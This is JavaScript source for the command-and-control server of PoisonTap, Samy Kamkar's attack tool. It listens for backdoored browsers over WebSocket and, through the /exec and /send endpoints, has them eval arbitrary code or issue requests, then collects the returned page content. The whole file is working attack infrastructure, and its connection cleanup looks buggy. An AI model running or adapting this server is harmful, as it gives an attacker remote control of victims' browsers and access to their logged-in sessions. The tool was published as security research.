// PoisonTap by Samy Kamkar - https://samy.pl/poisontap //var _ = require('underscore') var WebSocketServer = require('websocket').server var webSocketsServerPort = 1337 var http = require('http') var conns = [] var gr var server = http.createServer((request, response) => { console.log((new Date()) + ' HTTP server. URL ' + request.url + ' requested.') if (request.url.indexOf('/exec?') === 0) { response.writeHead(404, {'Content-Type': 'text/html'}) for (var i in conns) conns[i].sendUTF(JSON.stringify({ request: 'eval', content: request.url.substr(6) })) response.end("sent") } else if (request.url.indexOf('/send?') === 0) { response.writeHead(404, {'Content-Type': 'text/html'}) for (var i in conns) conns[i].sendUTF('{"' + decodeURI(request.url.substr(6)).replace(/"/g, '\\"').replace(/&/g, '","').replace(/=/g,'":"') + '"}') var checkgr = () => { if (gr) { response.end(gr) gr = "" } else setTimeout(checkgr, 500) } checkgr() } else if (request.url === '/status') { response.writeHead(200, {'Content-Type': 'application/json'}) var responseObject = { currentClients: 1234, totalHistory: 567 } response.end(JSON.stringify(responseObject)) } else { response.writeHead(404, {'Content-Type': 'text/html'}) response.end('Sorry, unknown url') } }) server.listen(webSocketsServerPort, () => { console.log((new Date()) + " Server is listening on port " + webSocketsServerPort) }) // create the server wsServer = new WebSocketServer({ httpServer: server }) function handleReq(obj, con) { if (obj.request === 'getresponse') gr = obj.html } wsServer.on('request', (request) => { var obj var connection = request.accept(null, request.origin) conns.push(connection) connection.on('request', (message) => { console.log('request: ' + message) }) connection.on('message', (message) => { try { obj = JSON.parse(message.utf8Data) } catch(e) { } console.log('message: ' + message.utf8Data) console.log(obj) if (typeof(obj) === 'object') handleReq(obj, connection) else connection.sendUTF('hello') }) // remove connection from our list connection.on('close', connection => { console.log('connection closed') for (var i in conns) if (conns[i] == connection) //if (_.isEqual(conns[i], connection)) // XXX conn.splice(i, 1) }) })